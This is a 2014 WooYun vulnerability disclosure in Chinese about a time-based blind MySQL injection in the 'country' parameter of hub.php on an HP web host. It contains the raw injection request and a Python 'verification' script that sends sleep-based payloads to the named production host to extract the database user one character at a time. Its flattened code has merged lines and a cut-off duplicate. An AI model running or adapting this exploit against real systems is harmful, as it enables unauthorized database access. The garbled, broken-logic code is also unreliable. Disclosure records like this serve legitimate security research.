惠普又一站点MySQL注射(附验证脚本)

发表于 2014年12月24日
WooYun漏洞库

漏洞概要

缺陷编号：WooYun-2014-088431

漏洞标题：惠普又一站点MySQL注射(附验证脚本)

漏洞详情

披露状态：

2014-12-24: 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-02-07: 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

惠普又一站点MySQL注射(附验证脚本)

详细说明：

注入点：

GET /hub.php?country=aaa&language=US HTTP/1.1<br>
X-Requested-With: XMLHttpRequest<br>
Referer: https://h41183.www4.hp.com<br>
Cookie: PHPSESSID=jqkhjokslqfg8d4j4j0kdc8r7i1o90eh<br>
Host: h41183.www4.hp.com<br>
Connection: Keep-alive<br>
Accept-Encoding: gzip,deflate<br>
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36<br>
Accept: */*

GET /hub.php?country=aaa&language=US HTTP/1.1

X-Requested-With: XMLHttpRequest

Referer: https://h41183.www4.hp.com

Cookie: PHPSESSID=jqkhjokslqfg8d4j4j0kdc8r7i1o90eh

Host: h41183.www4.hp.com

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36

Accept: */*

参数country可注入。MySQL time blind.

漏洞证明：

猜解user()，得到：

[email protected]

1	[email protected]

验证python脚本：

#encoding=gbk<br>
import httplib<br>
import time<br>
import string<br>
import sys<br>
import random<br>
import urllibheaders = {<br>
    'Cookie': '',<br>
    'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',<br>
}payloads = list(string.ascii_lowercase)<br>
for i in range(0,10):<br>
    payloads.append(str(i))<br>
payloads += ['@','_', '.']print 'start to retrive MySQL user:'<br>
user = ''<br>
for i in range(1,20):<br>
    for payload in payloads:<br>
        try:<br>
            conn = httplib.HTTPSConnection('h41183.www4.hp.com', timeout=10)<br>
            rand_num = str(random.random())<br>
            s = "123'XOR(if(ascii(mid(lower(user())from(%s)for(1)))=%s,sleep(5),0))OR'bbb" % (i, ord(payload) )<br>
            conn.request(method='GET',<br>
                         url='/hub.php?country=' + urllib.quote(s),<br>
                         headers = headers)<br>
            start_time = time.time()<br>
            html_doc = conn.getresponse().read()<br>
            conn.close()<br>
            print '.',<br>
        except:<br>
            user += payload<br>
            print '\n[in progress]', user<br>
            breakprint '\n[Done]MySQL user is', user

#encoding=gbk

import httplib

import time

import string

import sys

import random

import urllibheaders = {

'Cookie': '',

'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',

}payloads = list(string.ascii_lowercase)

for i in range(0,10):

payloads.append(str(i))